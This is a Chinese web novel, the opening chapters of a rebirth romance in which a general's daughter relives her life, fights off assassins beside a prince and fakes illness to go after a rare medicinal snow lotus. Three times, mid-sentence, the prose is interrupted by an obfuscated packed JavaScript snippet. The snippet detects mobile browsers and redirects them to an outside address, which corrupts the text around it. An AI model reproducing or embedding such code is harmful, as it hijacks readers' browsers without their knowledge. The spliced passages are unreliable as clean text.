《重生后被苗疆阴湿皇子盯上了》 1. 重生 冲天的火焰燃起,炽热的火焰灼烧着她的皮肤,也侵蚀着秦惜念那摇摇欲坠的清醒。 她不甘,不甘自己父亲被奸臣所害,不甘母亲就因小小的痨病未能及时医治就草草离世,也不甘她居然听信禄修的鬼话,听信他会为秦家洗清冤屈,让她死在茫茫火海中。 如果她能注意到每一次的出行,那些大大小小的意外后都会出现的人影,那她就不会把禄修当作救命恩人让他接近秦府,让父亲对他放下戒备。 如果她能在母亲痨病初期就去寻找药材,那母亲也不会离开人世。 如果她足够清醒那她也不会落入这万劫深渊中而不复返,明明有那么多次机会,她却没有抓住,秦惜念从没想过平日里唯一的温柔竟是最大的骗局。 在视线模糊前,她似乎看到中秋时分的场景,那时她才十四,母亲拿着纯白的白貂皮袄,让她穿上,父亲拿出他向皇帝刚讨的珍珠发簪,两人争着让她说谁送的更符合她的心意,如此的宁静美好。 “小姐,小姐快醒醒啊。”茯苓叫醒着自家小姐。道路崎岖坎坷,马车在路上晃晃悠悠,一不留神秦惜念就睡着了,被茯苓叫醒时,身上冒出冷汗,被火灼烧的痛感仿佛无法挥去,大滴的泪水就这样流了下来,她重生了,回到了最开始的时候。 “小姐,小姐你别哭啊,奴婢看快要到寺庙了,就寻思先把小姐叫醒。”茯苓在一旁急急忙忙地安抚着她。 “无妨,刚刚做了噩梦。”她用帕子擦了擦脸上的泪水,尽量平复着情绪。她看了看自己穿着,淡绿色的衣裙,是她独自去寺庙为将要出征的父亲的那天,母亲早晨扭伤了脚,不方便去寺庙,她就替母亲揽下了职责,也是在这时,她遇见了她一生的仇敌。 下了马车,她果然看见了禄修在那里祈福,再次相见,经历过生死,她以为自己会有极致的愤怒,但她第一种情绪是害怕,身体止不住的颤抖,心里的寒冷扩散在四肢,她用指甲嵌入手心,让自己看起来不那么狼狈。 被火焰灼烧的痛感她无法忘记,她想逃走,不想和眼前之人有丝毫的瓜葛,可老天就喜欢捉弄她,让她重生就看见这个让她无比痛恨的人,没等她转身,眼前之人似乎注意到了她。 “秦姑娘,好久不见。”禄修一贯的微笑挂在脸上。 “禄公子,今日我来为父亲祈福,不知公子来到寺庙是为何人祈福。”秦惜念调整好心情后面色如常回道。 “自然是为我母亲,她身体不好,只祈求佛祖保佑,只要母亲康健,我一生吃斋念佛都无所谓。”寒暄过后秦惜念走进寺庙,她重生归来,断不可让任何人发现,想要报仇也要从长计议。 她不愿再与他寒暄,转身离开。 她找道长求平安符,而道长却在她转头时留下一句意义不明的话,“姑娘前世多遭一劫,少受一缘,今生定会少受一劫,遇到良人。” 回头之时,道长早已走远,她并不信命,但却想道长的话能成真,她只要保护父母的性命就已足够开心,不强求有缘分。 哪怕还如上世一样,那她便逆天改命,绝不重蹈覆辙。 祈福过后,她准备乘着马车回府,果然,如同上一世一般,马儿在她将要乘上时,发了疯。 “马儿前蹄抽动,定是有尖锐物体刺入,安中你去看看。”她神情如常,有条不絮地吩咐着下人。 “小姐,有银针扎入,我已经将其拔出,这回可以了。”马夫手里拿着银针向各位展示着。 “这银针不可能是在路上扎入,来时明明好好的,回程时就有了,难道是有人故意刺入,有不好的目的?”她这么一说,一旁的禄修神情顿时紧张,但就一瞬之间便恢复如常。 “秦姑娘,也许这只是意外,不如早点下山,等到天色渐渐暗下来,你母亲会担心的。”禄修嘴角含笑对其说道,又是一副正人君子的模样。 “我父亲前脚刚刚上战场,今日便有人故意想要谋害我,不知有何居心,下次如果让我再发现就是与整个将军府为敌。”看似向他人警告,但这些话无一不是对罪魁祸首禄修说的。 禄修现在与她年龄相仿,做事手脚不干净,如果真的彻查一番,她不见得查不出什么所以然,不过放长线钓大鱼,不必现在就让敌人知道自己的目的。 回到府中,她内心有了不可言说的雀跃,冲进母亲的怀抱中,那种安心的感觉一下子涌上了全身。 “一天天毛毛躁躁的,娘告诉你要端庄,你都忘了。”虽是责怪的语气,可脸上的笑容却没消失半分。 秦惜念也在开怀大笑,可笑着笑着就哭了,她没办法接受母亲居然熬不过这个冬天,痨病的折磨带走了母亲的容颜却没带走对所有人的爱,母亲临终甚至把茯苓的赎身钱都给了她,可心灵善良的母亲却没能健康地活着。 看见女儿哭了,秦母慌了神,紧着安慰自家姑娘:“念念,这怎么哭了呢。” “母亲,我就是想父亲了,也不知道他在战场怎么样。”秦惜念连忙擦干了脸上的泪珠。 “你父亲早就料到他姑娘定会担心他,看,这是他留你的信。”秦母连忙把信展开。信上不仅有对她和母亲的宽慰,也有给娘俩的承诺。 中秋以前,定会返回京城,和她们一同过节。经历了上一世,她知道父亲确实和向她们承诺的那样,在中秋前就打的敌方连连告退,为她求得极美的发簪。 看完信件,秦惜念的内心变得柔软起来,在父母身边,她可以做一个天真烂漫的侯府嫡女,可她也要担负起自己的职责。 用完晚膳后,秦惜念就回到了自己的屋中,明日她就去妙春堂,询问梁郎中的下落。 当今治疗痨病最厉害的郎中姓梁,年龄相貌她也不知道,但听说这位郎中一年看病的时日就那么几天,剩下时间就是去采药,所以她要在母亲发病前就找郎中开好药方,已备不时之需。 这痨病初期入喉,只需服下主要由雪莲组成的药剂,便可痊愈,但等到后期进入肺腑之后,就真是无力回天了,母亲就是上一世太过于疏忽,等到找到郎中时已经病入膏肓。 隔日,秦惜念睡得很香甜,她已经很久没睡过一次好觉了,前世的她被禄修软禁起来,虽说有吃有喝,但每个夜晚都被恨所覆盖,她一次次的逃脱,一次次的自救,可每一次都会被发现,最终死在烈火之中。 第二日,在茯苓给她梳洗后,她们就出门了,走到了梁郎中所开的妙春堂前,向茯苓吩咐道:“在外边等着我,我去抓几味药材调养一番。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321198|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后走了进去,只见屋中只有一个抓药的小厮,便向他询问“请问陆郎中近日是不在药堂坐诊吗?” “陆郎中前几日就已经离开药堂了,去灵医谷采千年雪莲。” “那郎中大概何时回来。” 小厮一看秦惜念语气着急,便也告诉他了实情:“郎中每年只有三月才回来,其余时间都在等着雪莲的盛开,那雪莲只有寒冬才开放,而且从那南下回来还需要沿路一直采药,直到三月才回到这里。” 秦惜念听到这个消息,内心酸涩再也藏不住,痨病的发展很快,如果等到三月,怕不是跟上一世落得一样的结局,眼里似乎要落下几滴泪水。 小厮看见连忙补充上几句:“小娘子也不必如此担心,平常的药材这里就有,若是您母亲的病症不严重,也可以告诉我病症,每个病症大致的药方,郎中都留了下来,只要药材不稀缺就可以解决。” “那雪莲还有存着的吗?”秦惜念眼睛亮了起来,急忙去询问。 小厮眉头紧锁,嘴巴一张一合,最终吐出了两个字:“没有。” “每年郎中只能带回来一株雪莲,一般人连雪莲的面都见不到。”小厮补充道。 听到这些话,秦惜念心中冷了半分,走出了妙春堂。 刚好外面天色渐黑,她就和茯苓走进了一家酒楼。刚坐下,抬头就看见两位公子身上穿着西域的服饰,两人在讨论着什么,随着她坐下,对话逐渐清晰了起来。 “殿下,雪莲将要开放,我们是否要行动。”穿着朴素的男子向对方询问。 “那是自然,只要采到雪莲,我体内的毒便可解除。”衣着华丽的男子回道。 “可是,你知道谷主的性格,若是强来,他未必会从。”男子小心翼翼地回道。 “那不然要等死吗?”穿着矜贵的男人冷着脸看着他,对方迟迟不敢回应。 “若是他给就少了很多麻烦,若是不给,我不介意解决麻烦。” “是,殿下。” 秦惜念听到对方也在讨论,手下的动作停下了半分,抬头看向那个男人,两人眼神相交,对方的眼神冰冷,带着微薄的审视。 为了不引起怀疑,她将头微微低下来,吃着饭菜,沉着冷静地思考两人的话语。 不过听两人的话语来说,雪莲应该可以去自行采摘,只要谷主同意就有希望,反正已经没有任何机会了,不如放手去做,只要救回母亲就好。 反倒这个男人对于夺取雪莲竟这么自信,可见身份不一般,若是与他扯上干系,寻找雪莲可谓是事半功倍。 眼看吃完了饭菜,秦惜念就吩咐茯苓去楼下结账,自己也准备离开。 “砰。” 一群刺客从二楼的窗户闯入,只见为首的人直冲着穿着华丽男子身上刺来。 秦家子女在外或多或少都会对这种行为进行帮助,也因此她小时候就学着防身招数,不过除此之外,这个男人是她唯一的线索,她更要出手相助了。 只见她拿起一颗珠子,弹到刺客的膝上,只见刺客顿时跪了下来。 被打乱了阵脚,其余刺客去对付那个男子,而那个为首的刺客,寻找一圈,看到正在悠闲吃着糕点的秦惜念,一下子就明白了是什么回事。 2. 遇敌 为首刺客跌跌撞撞地向她走了过来,脸上的横肉乱晃,让人感到无比恶心。 秦惜念不慌不忙地起身,只听那刺客嗤笑道:“不知哪家的千金大小姐啊,竟敢坏我的好事,你真心给爷道个歉,我也不是不能考虑留你一具全尸。” 刺客的表情油腻,实在是让她膈应得不行,胃里刚吃完的饭菜都要吐了出来,她抬眸,不屑地说道“就你?配让我道歉?” “臭娘们,你跟谁说话呢。”刺客听到她如此张狂放肆,便拿的刀离得她越来越近。 刀锋将要刺到她时,穿着华丽的男子从背后抱住刺客,禁锢着对方的双臂。趁着刺客无法动弹,只见秦惜念毫无犹豫,立即将刀捅入刺客的腿上,疼的他哇哇叫。 秦惜念听着刺客刺耳的尖叫,眉头微皱,拿起一个馒头塞入了对方的嘴里,将令人厌烦的声音堵了回去。 “我这身法对付你这种三脚猫功夫还是绰绰有余的。”秦惜念看向刺客嘲讽道。 但危机尚未解除,那群刺客虽身手一般,但人数令人堪忧,她这边处理完事后,两人背靠背对付着这些刺客,秦惜念这边没有锋利的刀子,就从头上拿下两个簪子,左右开弓,招招致命。 她瞅准时机就将簪子插入刺客的颈处,刺客的嘴里猛吐一大口鲜血,秦惜念连忙后退,不等她闲下,连着又有几名刺客围了上来。 男子那边不知道从哪摸到一个匕首,手起刀落,将刀插入她面前那个刺客。 她又趁着这个时机,将酒壶扔在一人的脸上,打得那人连连后退。 两人背后的刺客也趁机围了上来,男人掀开桌上的桌布,扔在他们身上,秦惜念也从一旁的桌子上拿起两盘菜,倒在他们脸上。 不出一刻钟的时间,大片的刺客已经躺到了地上,剩下的几人也知道与两人之间的差距,便不再送死,灰溜溜地跑走了。 两人相视一笑,虽只有片刻的眼神交汇,但秦惜念不难看到男人的眼神,似有一丝丝的赞扬与欣赏。 她正欲离开,就看见本来和这个男子一伙的男人,拔出匕首要攻击自家主子。 “小心。”秦惜念冲那个男子喊了一句,心脏仿佛停了一瞬。 男子反应及时,在匕首将要插入男人体内时,躲了过去,甚至衣服都被滑出一道口子,随后死死掐着手下的脖子。 “谁给你这么大的胆子?”男子手劲明显增大,被掐住的男人脸色憋的通红。 “谢荣辞,你杀了我也无妨,你觉得皇后娘娘会放过你吗?”这句话说完,男人身体猛地一抽,嘴角溢出鲜血,气绝身亡。 秦惜念看见这一幕,想起了上一世的时候,她也是这样的孤立无援,所有人都背叛了她,那种滋味并不好受,她心脏猛地一抽,眼睛酸涩难耐,眼眶湿润。 她以为这个男人会流露悲伤的神情,但男人只是用手帕擦了擦手,神情淡漠,就像杀死一只兔子那么简单,没有丝毫难过,仿佛这只是没什么大不了的事情。 擦净双手,谢容辞将帕子随手丢弃了,只见他将手上的镯子摘了下来,递给了她,附加一句话:“谢礼。” 那镯子一看就是上好的羊脂白玉所制成的,料子细腻柔滑。 但她救他也不是为了金银财宝,她有更大的作用。 “公子,我帮助你,只是看不惯这群人的做法,并非图求回报。这个就不必了吧。”秦惜念刚抬手拒绝,反而被对方抓住手腕,将手镯戴了上来。 躲藏在酒楼楼下的茯苓刚上楼,就看见了一地的刺客倒在地上,自家小姐又跟如此美男手牵手,她顿时明白了原委。 赶忙对谢容辞说道:“这位大侠,天色已晚,今日我家小姐受了不小的惊吓,不介意送我们回府吧。” 秦惜念一手尴尬地扶额,一手掐着茯苓的手臂,她觉得就对方那个冷漠无情的态度,估计会直接忽略二人吧。 出乎她的意料,谢容辞眼神中似乎充满了一丝温柔,连语气都轻柔了不少。 谢容辞只问了句:“在哪。” “将军府!”茯苓在一旁抢答道。 几人走出了酒楼,外面的天色确实黑了下来。 两人虽然无话,但男子身姿挺拔,淡定从容。女子身形窈窕,落落大方。 月光之下,两人的影子相互交叠,可真是一对璧人。 惹得旁人的关注,尤其是茯苓,看向秦惜念的眼神,仿佛在说“小姐,你看我是不是很机智呀。” 秦惜念却只想找个地缝钻进去。 穿过了几个街,就到了将军府,秦惜念转头对谢容辞说道:“公子,我到了,多谢…” 谢容辞没有过多挽留,但在秦惜念对他道谢时,把手抬了起来。 秦惜念心里一惊,不过谢容辞只是将她跟刺客打斗吼随意插回的簪子调整了一下,指尖甚至没有触碰她的肌肤。 “簪子歪了。”谢容辞解释完就像不好意思似的,转身消失在月色之中,与漆黑的夜晚融合在一起,消失的无影无踪。 秦惜念却没有什么感觉,只是摸了摸自己的簪子。 还没等她进入府中,有人就从里边将大门推开。 她抬头一看,愣在了原地,只见她的祖母眼神冰冷,从头到脚地审视着她,手腕上的镯子都显得无比刺眼。 祖母语气没有丝毫波动,“还愣着干什么,进来吧。” “是,祖母。”她将头低了下来,灰溜溜地跟着祖母走了进来。 一进屋,祖母就屏退了下人,只剩下秦惜念和闻讯而来的秦母。 “说说吧,这么晚回来,衣衫不整,是去干什么去了?你丢的不是你的脸,而是整个将军府的脸。”老夫人的话语尖锐,让人无法抗拒。 “老夫人,要罚就罚奴婢吧,是奴婢自作主张,才让小姐蒙羞。”茯苓扑通一声跪在了地上,想要揽下所有的责任。 “你们两个主仆情深,既然你一心护主,那我就成全你。把她拉下去打十大板。” “祖母不可,都是我惹的祸,我自己承担,茯苓的身板是受不住十大板的,您要打她十大板不是要她的命吗?”秦惜念也连忙跪了下来,替茯苓求情。 老夫人目光沉沉地看了她一眼,缓缓开口道:“好,既然你要承担,那就以家法处置。” 老夫人从一旁拿起鞭子,淡淡道“伸手。” 秦惜念的手颤颤巍巍地伸了出来,老夫人一鞭子抽下去,瞬间秦惜念的手上布满了红痕,她手上火辣辣的疼,却也倔强的不肯低头。 老夫人想要抽下第二下,秦母再也忍不住,连忙护住自己女儿身前,“婆婆,惜念还小,何必动用家法。” “张氏,你也是名门望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321199|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族出身,她现在连端庄大方都做不到。若是以后惹出什么祸端,我秦家的满门清誉就要毁在她手里吗?” 秦母还想护着自己女儿,但也在老夫人说的一番话之后,没了下文。她知道她只为秦家诞下一个孩子,自己婆婆也对自己和女儿不满。 秦惜念的头仍然不低半分,手上火辣辣得疼也没让她有半分的退缩。 老夫人看向自己孙女的倔强模样,最终还是狠不下来。 她也决定退让一步,叹声道:“祖母不是不疼你,秦家如今只剩你一个血脉,诺大的将军府只剩下你一个人的时候,你要如何成为能挑起重担的人。” 语气缓和一点又接着补充好“罚你回去抄写佛经十遍,这几天在祠堂抄抄经,念念佛。” 随后转身出去了,苍老的背影在月光映衬下显得越发无力。 “是,祖母。”秦惜念低声接道。 府里的祠堂许久无人打理,夜晚更是凄凉无比,阵阵冷风吹过,秦惜念单薄的外衣根本无法抵御寒冷。 “小姐,今日之事是我的过错如果当时我没有自己一个人逃走,而是等着你就好了,你也不会与那几人遇上。”茯苓在一旁哽咽道。 “茯苓。今日种下的种子,来日定会为我所用。哪怕我是一颗独木,也要找几条藤蔓,任我缠绕。”秦惜念说出这句话,话语的算计与手上抄写的佛经大相径庭。 “所以说,这件事你不必自责,无论如何我都会这么做的。” 茯苓听闻小姐的话语,也嗅出一丝不同寻常的气息,小姐似乎成长了不少。 秦惜念手上的疼痛和凄冷的环境,让她彻夜未眠,反而让她大脑更加清醒,一条道路在她脑海里浮现出来。 一个可以挣脱祖母的严苛管控,争取到时间去寻找雪莲的道路。 她将外衣脱了下来,放在了一边,又连忙让茯苓将所有的窗户打开,冷风直直地吹在她的身上。 “小姐……”茯苓错愕地看着自家小姐。 “全部打开。”秦惜念的语气坚定而有力,没有任何的犹豫。 茯苓打开的瞬间,冷风一股脑地灌进祠堂,冷风直直地吹过她的肌肤。 直到第二天早上,一夜没睡的她又被冷风吹了一夜,精神萎靡,连连打着喷嚏,面色潮红。 茯苓连忙摸摸她的温度,手上滚烫的温度让茯苓吓了一跳。 “小姐,你怎么样了,要不要我去找老夫人!”茯苓慌忙地起身准备去禀告老夫人。 “不用,待我晕倒之时,你去找将军府中从未找过的郎中,给他些许银子,让他诊断我得了咳疾。”秦惜念虽然面色苍白,但还是有条不絮地吩咐茯苓。 “小姐,咳疾传染性极强,恐怕老夫人会将你关在老宅之中,那里偏僻荒凉,连个照应的人都没有。”茯苓担心地说道。 “这就是我的目的。”秦惜念扯出一抹安慰的笑容。 “是,小姐。”茯苓不明白其中的原委,她只知道相信小姐一定没错。 秦惜念不知是困倦还是病痛难忍,在抄写经佛时,身体一软,马上就要重重地倒了下去,可她却硬硬坚持了下来。 她又支撑了许久,一直到外边有下人走动的声音,她才敢放松身体,摔在了地上。 “小姐!”茯苓的叫声划破了将军府中清晨的宁静。 3. 逃脱 老夫人和秦母闻讯匆匆赶到,看见秦惜念倒在地上,脸上没有血色。 秦母看见自己女儿如此的模样,半点也忍不住了,跪在地上将女儿搂在怀里,眼泪喷涌了出来。 老夫人这边还算冷静,吩咐茯苓去外边请个郎中,告知她不要匆忙,惹得他人怀疑。 茯苓听从秦惜念的命令,寻找将军府不常请的郎中,郎中刚开始欲想拒绝,但郎中一看到茯苓给的银子,便也没有过多推辞,同意帮忙撒这个谎。 等两人回到府中,秦惜念已被下人扶到了床上。 郎中上前把了把脉,脸色暗沉道,时不时摇了摇头。 秦母一下子慌了神,立马向郎中询问:“我家小女得了什么病?” “这位小姐是染上了咳疾。”接着又说道:“此病倒也不是很难医治,只是传染性极强,若是这位小姐,大概一个月就能康复。可年长体弱的,老夫就不好说了。” 此话一出,所有人都退了几步,生怕染上此病,连老夫人都离开了床边。 “郎中,你先开一个月的药吧,其余的我们自己处理。”老夫人直接打断二人对话。 “茯苓你取完药就同小姐一同回到老宅。”老夫人吩咐茯苓道。 “至于你们送小姐回去定要小姐谨慎,别被他人所注意。”老夫人紧接着又对下人吩咐道,虽然老夫人神情严肃但语气还是略带慌张。 秦母护着自己女儿,反驳老夫人:“念念还生着病,您就要给她送到老宅,老宅那里许久无人搭理,是适合养病的吗?” 可老夫人只淡淡地问着她:“张氏!咳疾传染性极高,她在府中难道要让你我,甚至全府的人都染上吗?她在老宅修养更是极好不过了,你不必多言。” “是。”秦母想要说的话都被堵在了喉咙里,心都揪了起来,但也无可奈何。 她拿了些银两给了茯苓,让她照顾好秦惜念。 秦府的进程很快,没有人想和有咳疾的人相处,所以老夫人只让两位自己的心腹跟着她们。 茯苓去拿药的时候,郎中悄悄塞给她两个药丸,一个是治疗普通的风寒,一个是可以伪装咳疾的药丸,服下后咳出的痰带有血丝。 剩下的药也一同带给了茯苓。 马车是夜间出行的,在二人乘上马车,茯苓立刻偷偷地喂给她第一颗,服下后,秦惜念意识逐渐清晰,却也无法动弹,茯苓趴在她耳边。 “小姐,郎中那边已经处理妥当,只是老夫人那边带来了两个嬷嬷。” “无妨,那两个还好对付。” “那两个人和人精一般,小姐务必要谨慎。” 说完之后,茯苓也不去恼自家小姐,让秦惜念安静地休息。 马车晃晃悠悠地驶进老宅,等到了地方,秦惜念被茯苓扶着,走进了老宅。 老宅的环境破败,人烟稀少,但对于秦惜念来说,这反而是她逃脱的最好时机,两个嬷嬷选的屋子离着她们两人不近不远,刚好可以看着二人的行动。 茯苓熬了药,连忙让秦惜念喝了下去,喝完秦惜念感觉五脏六腑都暖了起来。 秦惜念恢复点体力后,躺在床上,想着对策。她现在需要找到灵医谷的位置,否则会像无头苍蝇一样,哪怕逃脱也没有去路。 茯苓还在一旁给她讲另一个药丸的作用,这一说让她有点线索了。 她想接触外界很困难,但茯苓却不是,不如上演一出精彩好戏,让那群眼线彻底不敢看着她。 清晨,她刚装作有所恢复的模样,在宅子的院中晒着太阳。 一旁的老嬷嬷看了她半晌,假惺惺地说道:“小姐,老夫人吩咐奴婢们来照顾您,自然也要贴身来看护您,茯苓年纪小,不如让奴婢来贴身伺候您。” “好啊。”一反常态,秦惜念没有任何犹豫,看着嬷嬷淡然地笑着。 老嬷嬷来她身边贴身伺候,到了傍晚,秦惜念在老嬷嬷没注意她时,将药丸服了下去,顿时剧烈咳嗽了起来,顿时鲜血染红了外衣。 “小姐,小姐你怎么了。”嬷嬷在一旁惊恐地站着。 门外的茯苓冲了上来,一把推开嬷嬷,对那个嬷嬷喊道:“小姐病情才好转,老夫人让你来照顾小姐,而你却照顾成这样?” 嬷嬷重重地跪在地上:“奴婢,奴婢不知道啊。” “出去!要是小姐有什么好歹,第一个维你是问。”茯苓冷眼看着嬷嬷。 嬷嬷连滚带爬地跑了出去,再也不敢提起贴身伺候这个事情了,秦惜念也落得个清净。 拿了水漱了漱口,秦惜念告知茯苓下一步:“茯苓,你回京城,她们定不敢拦你,在那时,去寻妙春堂的小厮,管他要一幅前往灵医谷的地图。” “奴婢明白。”茯苓重重地点了点头。 翌日清晨,茯苓第二日回京城很顺利,一直到妙春堂。 她说明自己来的目的,就是来要前往灵医谷的地图的,可这地图可对妙春堂意义非凡,可不是随意可以给他人的。 争执不定,茯苓只好拿出了银两,小厮纠结不定但最后就是妥协了。 原来是秦惜念早就打听了小厮家里有个生病的老母,正是需要银两的时候,要不也不会如此快的妥协。 小厮把地图偷偷塞给她,又给茯苓顺便抓了几副药用来伪装。可在茯苓没发现的地方,有个人已经盯上了她。 在她离开妙春堂后,一道身影从街角窜了出来,看了看她又看了看妙春堂的牌子。 茯苓回到老宅,将地图递给了秦惜念,两个嬷嬷连送饭都不敢进入屋内,自然不怕两人发现。 秦惜念看着地图,内心终于平静了下来,地图上标记着需要渡过的山河,需要注意的地形,以及各地的驿站。在地图的末端,标记了三个字:灵医谷。 她看了看地图,眼神随着手指的移动而移动,她所在的位置恰好在地图上,前方不远处就有客栈。 顺便算了算时间,时间应该够。 “小姐,接下来应该怎么办?”茯苓谨慎地问着她。 她将身上的衣服换了下来,换成了茯苓的衣服,将头上的簪子换成简单的装饰,尽量不让他人发现她的身份,又带了不少银子来用于生活。 随后语气平静地告诉茯苓:“茯苓,我要去灵医谷了,这边靠你来稳住,只要不让老夫人知道就可以,一定要尽可能地托住她们两个。” “小姐,要走我跟你一起走,你一个人我不放心。”茯苓看着自家小姐不舍道。 “你有更大的作用,我相信你。”在秦惜念的宽慰道,茯苓也松了口。 “那两个嬷嬷怎么办?” “她们?自然就是让我的病越来越严重喽。”秦惜念唇角扬起一抹弧度。 天色已深,秦惜念趁着嬷嬷已经休息,打开宅门,走了出去。 刚走出宅门,就有个男子在她背后,低声道:“这么晚,你一个人是要去哪?灵医谷吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321200|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个声音她太熟悉了,就是那日所救的谢容辞,她不知道对方为何会知道自己的动向,但眼下她要解除对方的怀疑。 她佯装生气道:“这位公子,我救了你,你居然一直在跟着我,我现在染上了痨病,如今只有那灵医谷的谷主才可以救我,若是公子不怕死,也可离我再近些。” “至于你是如何知道我去灵医谷,我也很好奇?”秦惜念转头问着他,眼神里没有一丝紧张。 “看秦小姐说话如此伶俐,那秦小姐的病不是很重呢?”男人逃避回答她的问题,神情淡漠,跟他平时一样。 “你我利益并不想冲,到时候到灵医谷各取所求。”秦惜念直接了当回着他的话。 他的目光扫过她故作镇定的脸庞:“去灵医谷山高路远,无人庇护的弱女子能独自应对?” 他停顿了一下,继续说道:“与我同行,我能为你扫清前路障碍,保你平安抵达灵医谷。作为回报,你当我身边的女贼。” “公子就不怕我是他人派来的细作?” “就你的小身板不足为惧。” “那公子就认为我这样的弱女子可以帮到你?” “保护我只是你最次要的作用。” 秦惜念固然生气无论如何跟他在一起亦是机遇,亦是风险。 拒绝他,以他的作风,杀了她再抢走也不是不可能。答应他,至少还有三成胜算。短短一瞬,利弊已然清晰。 她深吸一口冰冷的夜气,压下所有情绪,妥协道:“那就听从公子的安排了。” 谢容辞对于她如此迅速的“屈服”似乎并不意外:“识时务者为俊杰,秦小姐是聪明人。” 两人今日需要找一个客栈居住,秦惜念将地图递了过去,运筹帷幄的谢容辞看着地图却迟迟没动。 秦惜念还在想缘由,就听谢容辞说:“你带道。” “…?”好家伙这人还是个路痴,不愧本可以直接抢却留她一个性命,原来哪怕有这个地图,他也找不到。 “好。”秦惜念没有犹豫,拿着地图就走向最近的客栈。两人一前一后,沉默地行走在漆黑的夜路上,只有脚步声和风吹过野草的沙沙声。 走了约莫一炷香的时间,她走到了客栈门口。 在前行过程中,秦惜念想了许多,她似乎与这个充满风险的男人绑在一起并不是一件坏事,利用好这些机会,她反而更加轻松。 谢容辞率先上前,让掌柜找两个客房。 可掌柜面露难色,“哎呦两位客官,今日小店实在宾客众多,今日只有这一间了,二位…” “好。”谢容辞将银两递给掌柜,自行上楼。 留下秦惜念一个人在楼下,思考了许久,叹了一口气,最后还是跟着上了楼。 进了客房,要是如秦惜念预料,谢容辞肯定让她住地上,自己住床上。毕竟他就是那样冷酷无情的人。 但出乎意料,谢容辞自己在地上铺了铺,躺在地上,全程动作没有丝毫犹豫,背对着她就睡了。 秦惜念也没有推辞,躺在了床上,本来还在提防着对方,可身体的不适还是战胜了内心的怀疑和恐惧。 睡梦中她好像听到了谢容辞说了一句话:“这么没有防备心,要是歹人来了,杀死你十遍都不为过。” 还是那么的冷酷无情,不愧是他。 而她不知道的是,在她沉睡的时候,地上的谢容辞缓缓张开了双眼,望着床上的女子睡熟的模样。 4. 玉轩楼 秦惜念这一觉睡得极沉,再睁眼时,屋内只剩她一人。 榻边空荡荡的,早已没了谢荣辞的身影。 她撑着身子坐起,抬眼便看见那张破旧不堪的木桌。 桌上摆着一碟还冒着微热气的包子,一碗清粥,旁边整整齐齐叠着一套衣裳。 那是一袭蔚蓝色长袍,料子细腻顺滑,绝非寻常人家之物。 腰带上以银丝细细绣着流云纹样,针脚工整,雅致得不像话。 秦惜念指尖轻轻拂过,心里暗暗叹道:这人倒是有一副极好的审美。 只是这衣衫分明是男子样式,她虽好奇,却也不敢随意乱动,只坐在一旁安静地等候。 她起身走到桌边,用清水细细洗去脸上一路奔波沾来的尘灰,再对着那面斑驳铜镜,随手将长发挽起。 铜镜虽旧,却掩不住镜中女子的容貌。 不施粉黛,眉眼清艳,肌肤莹白,一抬眼便是惊心动魄的好看。 她拿起桌上的包子,小口小口地吃着。 味道算不上精致,却胜在温热,一口下去,暖意顺着喉咙落进心底。 吃到一半,房门被轻轻推开。 谢荣辞缓步走了进来,一身素色衣袍,身姿挺拔,神色依旧是那副淡淡的模样,看不出喜怒。 秦惜念抬眸望他,轻声问:“那件长衫,是给我准备的?” “嗯。”他只淡淡地吐出一个字。 秦惜念忽然忍不住,噗嗤一声笑了出来,眼尾微微弯起,“我又不是去当你的侍卫,何必这般正式,随便买件行动方便的便好了。” 谢荣辞没有多余解释,只淡淡嘱咐一句:“今日你与我一同去玉轩楼,打探些消息。” 话音落下,他便转身走出房门,步履从容,只留秦惜念一人在屋内怔了怔。 她这才想起,玉轩楼在城中极有名气。 地处烟花柳巷,却对外宣称只卖艺不卖身,出入之人非富即贵,不是世家权贵,便是朝中官员。 陆郎中的地图上偏偏也标记了此处,想来那位陆先生,倒也懂得寻欢享乐。 秦惜念重新拿起那件蔚蓝色长袍。 触手微凉,质感不凡,一看便知价值不菲。 她褪去身上脏乱的旧衣,换上这身长袍,再将长发高高束起。 一瞬间,镜中的少女褪去几分柔媚,多了几分清俊英气。 眉眼间依稀带着几分其父的风骨,不仔细分辨,竟真像一位温润秀雅的少年公子。 她理了理衣摆,推开房门。 谢荣辞果然立在门外,静静等着。 日光落在他肩头,衬得他眉目愈发清绝。 “如何?” 秦惜念原地轻轻转了一圈,眼底带着几分小小的得意。 谢荣辞目光在她身上稍作停留,唇角竟难得浅浅勾起一抹笑,“与我相比,还是差了点。” 秦惜念轻哼一声,却没真的生气。 两人并肩走在街上,一时间竟惹得路人频频侧目。 一个清冷绝尘,一个清俊秀雅,皆是难得一见的容貌。 街边女子目光痴痴黏在他们身上,男子表面不屑转头,余光却还是忍不住偷偷打量。 